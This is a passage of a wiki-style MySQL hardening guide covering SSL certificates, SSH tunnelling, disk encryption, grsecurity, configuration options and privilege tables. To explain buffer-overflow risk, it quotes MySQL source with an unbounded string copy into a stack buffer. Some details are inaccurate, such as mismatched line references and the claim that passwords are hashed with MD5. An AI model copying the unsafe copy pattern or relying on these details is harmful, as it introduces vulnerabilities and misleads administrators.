      +---------------+-------+&lt;br /&gt;
&lt;br /&gt;
Since the OpenSSL encryption implementation of MySQL sustains upon certificates, we need to create&lt;br /&gt;
* a Certificate Authority (CA) key and certificate,&lt;br /&gt;
* a server encryption key, as well es a server certificate request,&lt;br /&gt;
* a client encryption key, as well as a client certificate request.&lt;br /&gt;
&lt;br /&gt;
The following shellscript will do this for us (OpenSSL binaries have to be installed):&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 DIR=`pwd`/openssl&lt;br /&gt;
 PRIV=$DIR/private&lt;br /&gt;
 mkdir $DIR $PRIV $DIR/newcerts&lt;br /&gt;
 cp /usr/lib/ssl/openssl.cnf $DIR&lt;br /&gt;
 replace ./demoCA $DIR -- $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -x509 -keyout $PRIV/cakey.pem &lt;br /&gt;
   -out $DIR/cacert.pem -config $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -keyout $DIR/server-key.pem &lt;br /&gt;
   -out $DIR/server-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/server-key.pem -out $DIR/server-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/server-cert.pem -config $DIR/openssl.cnf -infiles $DIR/server-req.pem&lt;br /&gt;
 openssl req -new -keyout $DIR/client-key.pem&lt;br /&gt;
   -out $DIR/client-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/client-key.pem -out $DIR/client-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/client-cert.pem -config $DIR/openssl.cnf -infiles $DIR/client-req.pem&lt;br /&gt;
&lt;br /&gt;
Lines 1 - 6 create a useable directory structure for storing the resulting keys and&lt;br /&gt;
certificates. Be sure to call this script from a safe location; keys are normally stored&lt;br /&gt;
in /etc/mysql/keys or something similar.&lt;br /&gt;
&lt;br /&gt;
Line 7 and 8 generate a local Certificate Authority for signing the certificates which&lt;br /&gt;
are to be created.&lt;br /&gt;
&lt;br /&gt;
Lines 9 and 10 create an encryption key for the MySQL server and a certificate&lt;br /&gt;
request, which is to be signed afterwards. The certificate will be valid for 3600 days.&lt;br /&gt;
&lt;br /&gt;
Line 11 (and line 16) is optional and would remove the passphrase from the server key. This&lt;br /&gt;
means that it’s not necessary to give the passphrase every time the MySQL server&lt;br /&gt;
is restartet. This behaviour may be seen as security risk, depending on where the&lt;br /&gt;
(unencrypted) key will be stored.&lt;br /&gt;
&lt;br /&gt;
Lines 12 and 13 will sign the previously generated server certificate with our local&lt;br /&gt;
CA instance.&lt;br /&gt;
&lt;br /&gt;
Lines 14 and 25 create a client key and certificate request.&lt;br /&gt;
&lt;br /&gt;
The last lines sign the client certificate with our local CA instance.&lt;br /&gt;
&lt;br /&gt;
We finally have to tell MySQL where our encryption keys and certificates are stored, which is done in my.cnf. We need entries for both, server and client. Note that the client configuration as well as the client and CA certificates have to be available on all clients who wish to encrypt MySQL related network traffic.&lt;br /&gt;
&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/client-cert.pem&lt;br /&gt;
 ssl-key=$DIR/client-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [mysqld]&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/server-cert.pem&lt;br /&gt;
 ssl-key=$DIR/server-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;$DIR&amp;lt;/tt&amp;gt; is to be replaced by the chosen key and certificate directory.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSH ====&lt;br /&gt;
Encrypting network traffic using OpenSSH is done via tunnelling. The advantages of this method are:&lt;br /&gt;
* An existing MySQL configuration has not to be altered&lt;br /&gt;
* There is no administrative overhead for creating and maintaining certificates and keys&lt;br /&gt;
* The tunnel itself is transparant to MySQL since SSH does everything on its&lt;br /&gt;
own&lt;br /&gt;
* Easy setup&lt;br /&gt;
&lt;br /&gt;
However, there are several points which may be seen as disadvantages:&lt;br /&gt;
* The tunnelling mechanism itself has to be done on the client(s), which leads to decentralized administration&lt;br /&gt;
* The calling client(s) require to have a valid system user on the box where the OpenSSH server is running&lt;br /&gt;
* The server machine must run an OpenSSH server (which is the easiest way, but not unconditionally necessary), the clients must have the ssh binary installed&lt;br /&gt;
&lt;br /&gt;
The basic idea is that the &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; binary on the client(s) opens a socket which is bound to a specific port (3307 in the following example). &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; encrypts all the traffic, coming through this port and sends it to the OpenSSH server which will perform the decryption transparently and redirect the unecrypted traffic to the port, the MySQL server is listening on.&lt;br /&gt;
&lt;br /&gt;
The MySQL TCP connection a client tries to establish, is done to localhost instead of the MySQL server, to the port number bound my &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On the client side, the following command will set up our OpenSSH tunnel:&lt;br /&gt;
 ssh -L 3307:&amp;lt;MySQL server address&amp;gt;:3306 &amp;lt;username&amp;gt;@&amp;lt;OpenSSH server address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The clients can now connect through localhost the get in touch with the MySQL server:&lt;br /&gt;
 mysql -u &amp;lt;mysql_username&amp;gt; -p -h 127.0.0.1 -P 3307 &lt;br /&gt;
&lt;br /&gt;
Note: The OpenSSH server doesn't mandatorily have to run on the same machine as the database server does. If OpenSSH runs on server A and MySQL on server B, we need to set up an packet redirection, which can be done using &amp;lt;tt&amp;gt;iptablest&amp;lt;/tt&amp;gt; on machine A:&lt;br /&gt;
	echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A PREROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j DNAT&lt;br /&gt;
		--to-destination &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A POSTROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		-d &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
The statement in line 1 just activates IP packet forwarding in the Linux kernel. The second command activates traffic redirection from the OpenSSH server (where the &amp;lt;tt&amp;gt;iptables&amp;lt;/tt&amp;gt; rulebase is active) to the MySQL database server. Finally, with the third command, we activate masquerading to ensure that responses of the MySQL server are correctly translated and redirected to the calling host (e.g. the MySQL client).&lt;br /&gt;
&lt;br /&gt;
==== OpenVPN ====&lt;br /&gt;
&lt;br /&gt;
=== Encrypting raw databases on filesystem level ===&lt;br /&gt;
As long as the MySQL server is up and running, and keeping track of incoming queries to provide stored data, the database files have to be unencrypted and readable. It’s primarily the job of the DMBS, to only allow authorized users to read and/or write data of certain tables.&lt;br /&gt;
&lt;br /&gt;
Nevertheless, if a harddisk (including backups, tapes, etc.) gets stolen, the stored data is world-readable from every external system. If needed, encryption can solve this problem. Using encryption on filesystem level is quite easy in nowadays 2.6 Linux kernels.&lt;br /&gt;
&lt;br /&gt;
The following section contains two different approaches for encrypting the filesystem, for the first one is quite Linux specific and the second one will run on Windows, Linux and OSX.&lt;br /&gt;
&lt;br /&gt;
==== Linux: dmcrypt ====&lt;br /&gt;
The following steps need to have &amp;lt;tt&amp;gt;losetup&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;cryptsetup&amp;lt;/tt&amp;gt; installed on the System, as well as a kernel which has been built with &amp;lt;tt&amp;gt;CONFIG_DM_CRYPT&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;CONFIG_BLK_DEV_DM&amp;lt;/tt&amp;gt; support (which most of the current kernels have). Most Unices offer the use of encryption, but most of them are not platform independent.&lt;br /&gt;
&lt;br /&gt;
MySQL stores its data in the &amp;lt;tt&amp;gt;$MYSQL_CHROOT/data&amp;lt;/tt&amp;gt; directory, we will now encrypt. We will proceed with the following steps:&lt;br /&gt;
&lt;br /&gt;
# We generate a file with completely randomized content, with the maximum size of the MySQL storage tables (in the following example, 100MiB). If the reserved space points out to be too few, we can simply create a bigger one and transfer the encrypted data later.&lt;br /&gt;
# We create a new loopback-device, which is capable of handling our crypted data-image as harddisk partition.&lt;br /&gt;
# We connect the loopback-device with a so called crypto-target, which encrypts everything which is written onto the target, and decrypts everything which is read from the target, as long as the crypto-target is enabled.&lt;br /&gt;
# Format the crypted data container with a filesystem of our choice (ReiserFS in this case).&lt;br /&gt;
# Mount the crypted container, as it’s ready to use.&lt;br /&gt;
&lt;br /&gt;
These steps are done via the following commands:&lt;br /&gt;
 # dd if=/dev/urandom of=$MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # losetup /dev/loop0 $MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # cryptsetup -y create mysql_data /dev/loop0&lt;br /&gt;
  Enter passphrase: Passphrase&lt;br /&gt;
  Verify passphrase: Passphrase&lt;br /&gt;
 # mkreiserfs /dev/mapper/mysql_data&lt;br /&gt;
 # mount /dev/mapper/mysql_data $MYSQL_CHROOT/data&lt;br /&gt;
&lt;br /&gt;
Now, before starting up the MySQL database server for everyday use, we have to enforce step 2, 3 and 7. Detailed information about the theoretical backgrounds to cryptography may be found in the wonderful reference of Bruce Schneier [Sch05], as well as [Ert03] and [Wae03]. Information on practical filesystem encryption is found in [Pac05].&lt;br /&gt;
&lt;br /&gt;
==== TrueCrypt ====&lt;br /&gt;
Truecrypt has experienced a large hype in the last years since it's very easy to use, focussed for desktop systems and has a graphical user interface. Nevertheless, my own benchmark tests have proven that TrueCrypt's performance is much slower than &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, and the data throughput stagnates at about 40% of what &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt; is capable in terms of performance (this has been tested on an Intel Core2 Duo, 2 x 3.2 GHz, 2GiB RAM on SATA2 harddisks using Linux 2.6.23).&lt;br /&gt;
&lt;br /&gt;
The installation of Truecrypt is quite easy since precompiled binaries are available for all supported platforms, including Linux binaries as well as Debian (and Ubuntu) packages.&lt;br /&gt;
&lt;br /&gt;
When starting the software, an easy-to-use graphical dialog appears which should be quite self-explementory.&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, also Truecrypt offers two possibilities of creating encrypted volumes:&lt;br /&gt;
* Format a whole partition which is to be filled with encrypted content, or&lt;br /&gt;
* creating a fixed-size container achive file; this file will again be looped back to a pseudo-device which can be accessed by the operating system just like a normal partition.&lt;br /&gt;
&lt;br /&gt;
Interestingly, the latter is the faster alternative, according to the corresponding article on the German IT online news magazine heise.de.&lt;br /&gt;
&lt;br /&gt;
=== Non-realtime encryption routines for database backups ===&lt;br /&gt;
&lt;br /&gt;
== Protection against stack-smashing and other memory corruption attacks ==&lt;br /&gt;
&lt;br /&gt;
=== The main problem with memory ===&lt;br /&gt;
Since MySQL has been written in C (and partly C++), the code is implicitly based upon pointer arithmetics and therefore offers a broad spectrum of possible buffer-overflow vulnerabilities. The most common form of buffer overlows are stack-based smashing attacks, since they're normally much easier to produce than heap-based overflows.&lt;br /&gt;
&lt;br /&gt;
Todays high-level programming languages like Java and C\# follow a conceptional hiding of pointers to the developer, which, spoken generally, leads to more secure code since overflows nearly always sustain upon exploitable pointer structures. Nevertheless I'm going to figure out some possibly insecure code-snippes of the current MySQL version, before describing howto avoid attacks on them.&lt;br /&gt;
&lt;br /&gt;
Here's an outtake of &amp;lt;tt&amp;gt;mysql-5.0.45/libmysql/libmysql.c:693&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 my_bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db) {&lt;br /&gt;
  char buff[512],*end=buff;&lt;br /&gt;
  int rc;&lt;br /&gt;
  DBUG_ENTER(&amp;quot;mysql_change_user&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  if (!user)&lt;br /&gt;
    user=&amp;quot;&amp;quot;;&lt;br /&gt;
  if (!passwd)&lt;br /&gt;
    passwd=&amp;quot;&amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  /* Store user into the buffer */&lt;br /&gt;
  end=strmov(end,user)+1;&lt;br /&gt;
&lt;br /&gt;
This code is always executed when the calling application intends to change the current MySQL (DBMS-) user. Like shown in line 4, memory for a character buffer &amp;lt;tt&amp;gt;buff&amp;lt;/tt&amp;gt; is statically allocated with a size of 512 bytes. When strings have to be passed to a function, C only passes pointers to the beginning of the string, which should be terminated by a NULL-byte (00000000 binary), to indicate where the string ends. The function &amp;lt;tt&amp;gt;strmov&amp;lt;/tt&amp;gt; at line 14, which does basically the same like ANSI &amp;lt;tt&amp;gt;strcpy&amp;lt;/tt&amp;gt;, copies the username (passed to &amp;lt;tt&amp;gt;mysql_change_user()&amp;lt;/tt&amp;gt;) in the allocated buffer. However, since the size of the corresponding username has never been checked to be less than 512 bytes, this code represents a classical stack-based buffer overflow.&lt;br /&gt;
&lt;br /&gt;
Moreover, C doesn't has a built-in exception management. If a function fails, is in most cases only shown by the return value. Therefore, not checking the return values of certain, possibly critical, and especially memory mapping functions can be very dangerous and may lead to segmentation faults. The following piece of code shows this (&amp;lt;tt&amp;gt;mysql-5.0.45/innobase/log/log0recv.c:3081&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 log_dir_len = strlen(log_dir);&lt;br /&gt;
 /* reserve space for log_dir, &amp;quot;ib_logfile&amp;quot; and a number */&lt;br /&gt;
 name = memcpy(mem_alloc(log_dir_len + ((sizeof logfilename) + 11)), log_dir, log_dir_len);&lt;br /&gt;
 memcpy(name + log_dir_len, logfilename, sizeof logfilename);&lt;br /&gt;
&lt;br /&gt;
This code is part of the InnoDB sources, which attempts to be an journaling ACID-compatible database backend. The developer wants to put the &amp;lt;tt&amp;gt;log_dir&amp;lt;/tt&amp;gt; string into a newly created buffer called &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt;. The memory allocation of &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt; is done within the &amp;lt;tt&amp;gt;memcpy&amp;lt;/tt&amp;gt; call, and the return value is not checked against 0, which would indicate that the memory allocation has failed. In such a situation, the MySQL database server process will probably get killed by the System, since writing to unallocated memory normally leads to a segmentation fault.&lt;br /&gt;
&lt;br /&gt;
=== Possible solutions: grsecurity under Linux ===&lt;br /&gt;
One possible solution to this problem is &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt;. This software package introduces a couple of patches for the Linux kernel. The most valuable one for our purposes is &amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt; provides some very desirable functionalities, including:&lt;br /&gt;
* Flagging of certain memory areas (such as the stack of processes) as non-executable. This helps very much since most memory attacks force to corrupt the stack, for this is a quite easy way as compared to exploit vulnerable heap segmets. This means that an exploitation attempt will possibly corrupt the stack, but will not be able to execute arbitrary code, which kind-of guarantees the system's integrity. (However, memory corruptions may lead to software misbehaviour and denial of service).&lt;br /&gt;
* Flagging of memory areas which contain executable machine code as non-writeable. This prevents attacks which are trying to directly access and modify the process' code segment for taking over the execution flow.&lt;br /&gt;
* Providing of ASLR, what means Address Space Layout Randomization. This makes exploitation itself much harder, since most exploits rely on the knowledge of return addresses on the stack (in fact, in most cases, the return pointers of a running procedure which should be overwritten is only estimated; with ASLR, the estimation will be much harder).&lt;br /&gt;
&lt;br /&gt;
Another feature of &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; is Role Based Access Control, what we will not inspect in deeper detail here.&lt;br /&gt;
&lt;br /&gt;
The whole set of patches can be obtained from the [http://www.grsecurity.net/download.php grsecurity] website. The application of the &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; patchset must be done according to the kernel version which should be patched, before recompiling the kernel itself.&lt;br /&gt;
&lt;br /&gt;
The following code demonstrates the download and patching procedure for Linux kernel 2.6.17.7 and &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; 2.1.9.&lt;br /&gt;
&lt;br /&gt;
 cd /usr/src&lt;br /&gt;
 wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2&lt;br /&gt;
 wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz&lt;br /&gt;
 tar -xjvf linux-2.6.17.7.tar.bz2&lt;br /&gt;
 gunzip &amp;lt; grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0&lt;br /&gt;
&lt;br /&gt;
Afterwards, the kernel (and possibly modules) has to be configured and recompiled as normal. The &amp;lt;tt&amp;gt;grsecurityt&amp;lt;/tt&amp;gt;-related options can be found in the section '''Security''' -&amp;gt; '''grsecurity''', which offers several levels of security.&lt;br /&gt;
&lt;br /&gt;
== Security related configuration attributes ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file may contain a rich set of possible configuration attributes and values, which can change the behaviour of the MySQL server dramatically. The whole file is basically split up into a couple of different sections, each describing the configuration of a specific MySQL executable which is written within brackets, e.g. &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mysqldump&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;client&amp;lt;/tt&amp;gt;, etc. We will further focus on &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; only. The whole set of configuration attributes can be achieved in the MySQL sample configuration files, usually found in &amp;lt;tt&amp;gt;$MYSQL/support-files/&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Connectivity ===&lt;br /&gt;
Securing a database server strongly depends on what is expected from the server. One of the most important questions is the need for remote access to the service. If our database server is just needed by local services, we can achieve a very effective security enhancement by disabling TCP/IP networking of our MySQL instance. This is done by activating the &amp;lt;tt&amp;gt;skip-networking&amp;lt;/tt&amp;gt; option. If passed, connections are limited to either UNIX sockets or named pipes.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;max_connections&amp;lt;/tt&amp;gt; defines the maximum of concurrent connections to the server. Note that one of the given amount is always reserved for users with SUPER privileges. Related to this, &amp;lt;tt&amp;gt;max_connect_errors&amp;lt;/tt&amp;gt; defines the maximum of errors which may result upon or during connection establishment per user, before he/she is being banned. Setting this value to about 10 should prevent brute-force attacks.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
Turning on the &amp;lt;tt&amp;gt;log&amp;lt;/tt&amp;gt; parameter, makes MySQL enable full query logging. This means, that every MySQL query (even ones with incorrect syntax) is getting logged. This is either good for debugging reasons on the one hand, and very interesting on detecting certain database attacks like SQL-injections on the other hand.&lt;br /&gt;
&lt;br /&gt;
=== Transactions and ACIDness ===&lt;br /&gt;
&amp;lt;tt&amp;gt;transaction_isolation&amp;lt;/tt&amp;gt; defines how MySQL is reacting, if &amp;lt;tt&amp;gt;SELECT&amp;lt;/tt&amp;gt; statements are queried upon possibly uncommitted rows and/or tables (dirty read ). From the security perspective, it’s advisable that this value is set to &amp;lt;tt&amp;gt;REPEATABLE-READ&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;SERIALIZABLE&amp;lt;/tt&amp;gt;, since both ensure ACID-compatiblity.&lt;br /&gt;
&lt;br /&gt;
To guarantee ACID compliance, the instance of MySQL has to use a backend, supporting transactions. This is normally done via the InnoDB engine, so it’s a good idea to set &amp;lt;tt&amp;gt;default_table_type&amp;lt;/tt&amp;gt; to InnoDB. The probably most important factor due to the performance of this storing engine, is the &amp;lt;tt&amp;gt;innodb_buffer_pool_size&amp;lt;/tt&amp;gt;, which caches indexes and row data of InnoDB tables. On a pure high-performance database server, MySQL AB recommends to set this value up to 80% of the available physical memory. In a maximum address-space of 4GiB on a 32 bit architecture, this value may reach more than 3GiB of memory.&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
The MySQL syntax defines a &amp;lt;tt&amp;gt;LOAD DATA&amp;lt;/tt&amp;gt; statement, which provids reading files directly from the filesystem into a table. This command can be very useful for certain administration tasks, but does offer a high potential of attacks. The use of this statement can be prevented by setting &amp;lt;tt&amp;gt;load-infile&amp;lt;/tt&amp;gt; to 0 in the configuration file.&lt;br /&gt;
&lt;br /&gt;
== Inside MySQL: DBMS' access control and privilege management ==&lt;br /&gt;
=== General management table structures ===&lt;br /&gt;
&lt;br /&gt;
MySQL has a built-in access control and privilege management, once more implemented as a relational model in a separate database. Even after freshly installing a database instance, MySQL automatically creates the mysql database which holds 6 tables – 5 of them play a certain role of whether a user is allowed to access database objects (table, row, column, etc) or not. Those access rules may be built upon username, connecting host or the requested database.&lt;br /&gt;
&lt;br /&gt;
[[Image:Mysql_access_control.png|thumb|290px|Schematic presentation of the DMBS' internal accounting and management procedures, as executed by the MySQL database server.]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
&lt;br /&gt;
The user table is the most important one, since it (besides numerous other things) defines users, their passwords, and the hosts they are allowed to connect from, so are the first 3 columns. The host column also accepts wildcards, like % as the regular expression (.*). The password is never stored in plain text, but normally hashed via the MD5 algorithm. Note that a user/host-pair is used as primary key.&lt;br /&gt;
&lt;br /&gt;
After those initial values, the user table is followed by about two dozen boolean values, giving a more granular description of the permissions granted to the user. The names, like &amp;lt;tt&amp;gt;Insert_priv&amp;lt;/tt&amp;gt;, &amp;lt;/tt&amp;gt;Update_priv&amp;lt;/tt&amp;gt;, etc. are self-speaking. Since those rights have no restriction to certain tables or databases, they should be avoided and set to N, whereever possible, for using more restricting levels of access.&lt;br /&gt;
&lt;br /&gt;
When a query is being processed, the permissions of the user table are checked at first, and the query is immediately granted if the user has sufficient permissions on this layer. The following listing completes the available columns of the user table:&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; use mysql;&lt;br /&gt;
 Database changed&lt;br /&gt;
 mysql&amp;gt; desc user;&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Field                 | Type           | Null | Key |&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Host                  | char(60)       | NO   | PRI |&lt;br /&gt;
 | User                  | char(16)       | NO   | PRI |&lt;br /&gt;
 | Password              | char(41)       | NO   |     |&lt;br /&gt;
 | Select_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Insert_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Update_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Delete_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Drop_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Reload_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Shutdown_priv         | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Process_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | File_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Grant_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | References_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Index_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_db_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Super_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_tmp_table_priv | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Lock_tables_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Execute_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_slave_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_client_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_view_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_view_priv        | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_routine_priv   | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_routine_priv    | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_user_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | ssl_type              | enum('','ANY','X509','SPECIFIED') | NO   |     |&lt;br /&gt;
 | ssl_cipher            | blob             | NO   |&lt;br /&gt;
 | x509_issuer           | blob             | NO   |&lt;br /&gt;
 | x509_subject          | blob             | NO   |&lt;br /&gt;
 | max_questions         | int(11) unsigned | NO   |&lt;br /&gt;
 | max_updates           | int(11) unsigned | NO   |&lt;br /&gt;
 | max_connections       | int(11) unsigned | NO   |&lt;br /&gt;
 | max_user_connections  | int(11) unsigned | NO   |&lt;br /&gt;
 +-----------------------+------------------+------+&lt;br /&gt;
 37 rows in set (0.01 sec)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As listed, &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; additionally defines four columns related to cryptographic methods&lt;br /&gt;
like ciphers and certificates, and four columns used for user-specific limitations on&lt;br /&gt;
the database, we will inspect later.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table is checked (only), if the user table doesn’t define enough permissions for a user to fully process the query. db again defines username, connecting host, and numerous privileges on a certain database, given by the column &amp;lt;tt&amp;gt;Db&amp;lt;/tt&amp;gt;. This table is only processed, if&lt;br /&gt;
# the user doesn’t has sufficient permissions in the user table, and&lt;br /&gt;
# the user wants to set up a query on a database, defined in the db table.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;host&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
This is basically the same as the db table, but acting on actual hosts, the query may come from and may be restricted to.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;columns_priv&amp;lt;/tt&amp;gt; tables ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; table exactly defines the permissions of users on per-table-basis, who may or may not set up select, insert, update, delete, create, drop, grant, references, index and alter commands. Also the Grantor, the timestamp of the GRANT-statement and of course username, database name and hostname are stored here. This is possibly the table where&lt;br /&gt;
user-based restrictions should be done.&lt;br /&gt;
&lt;br /&gt;
In comparison, the columns_priv table is structured like tables_priv, but holds less permissions and additionally defines a column_name column, telling us to which column the restriction/permission is refering.&lt;br /&gt;
&lt;br /&gt;
=== Access management via SQL ===&lt;br /&gt;
&lt;br /&gt;
All permissions and restrictions stored in the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database, are classically managed via SQL, mainly using GRANT and REVOKE statements. While GRANT statements usually gives a permission to a user, the corresponding REVOKE statement disallows the user to own this certain permission.&lt;br /&gt;
&lt;br /&gt;
A GRANT statement consists of the permissions which are to be set, as well as the database and table it is refering to, and a user/hostname pair. For example:&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT, UPDATE on mysql.user TO root@localhost IDENTIFIED BY 'password'&lt;br /&gt;
&lt;br /&gt;
The REVOKE command is used adequatly. For a detailed description on GRANT and REVOKE you may consider having a look on the official MySQL reference [Vas04].&lt;br /&gt;
&lt;br /&gt;
There is no big difference between setting up permissions via the tables inside the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database using DML or typing SQL GRANT and REVOKE statements. However, while the latter version will activate the permissions immediately, privilege settings applied by direct DML, deserve reloading the values. This can be done via FLUSH PRIVILEGES.&lt;br /&gt;
&lt;br /&gt;
There a several privileges only used for database administration, namely&lt;br /&gt;
* PROCESS, allowing the user to perform the processlist command,&lt;br /&gt;
* SHUTDOWN, allowing the user to shutdown the MySQL server via the shutdown command,&lt;br /&gt;
* SUPER, allowing the user to perform the kill command for killing certain MySQL threads,&lt;br /&gt;
* RELOAD, allowing the user to perform &amp;lt;tt&amp;gt;flush-hosts&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-logs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-privileges&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-status&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-tables&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-threads&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;refresh&amp;lt;/tt&amp;gt; as well as &amp;lt;tt&amp;gt;reload&amp;lt;/tt&amp;gt; commands. It's not recommended ever to give one of those permissions to ordinary users.&lt;br /&gt;
&lt;br /&gt;
Note, that these privileges are commonly not used via SQL-statements, but through using the mysqladmin shell command. This is a security related model, since a user who intends to force privilege escalation atempts on the MySQL server, will not be able to use this commands inside the standard MySQL shell. The above rights should be reduced to an absolute minimum of users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Setting up the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; password ===&lt;br /&gt;
